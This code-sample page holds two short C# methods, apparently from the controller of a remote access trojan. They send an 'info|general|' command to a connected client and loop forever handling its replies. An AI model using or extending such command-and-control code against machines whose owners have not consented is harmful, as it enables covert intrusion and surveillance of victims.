Пример #1
0
        private async void FirstExecute(TcpClient client)
        {
            await Task.Run(() =>
            {
                string recieved = RAT.RecieveInformation(this);

                if (recieved == "failed")
                {
                    bar.Dispose();
                    return;
                }

                RAT.HandleInput(recieved, bar);
            });
        }
Пример #2
0
        public void Start(TcpClient client)
        {
            stream = client.GetStream(); //get stream from client

            //get information from client
            SendCommand(Encoding.ASCII.GetBytes("info|general|"));
            FirstExecute(client);

            //start handling on a different thread
            Task.Run(() =>
            {
                while (true)
                {
                    RAT.HandleInput(RAT.RecieveInformation(this), bar);
                }
            });
        }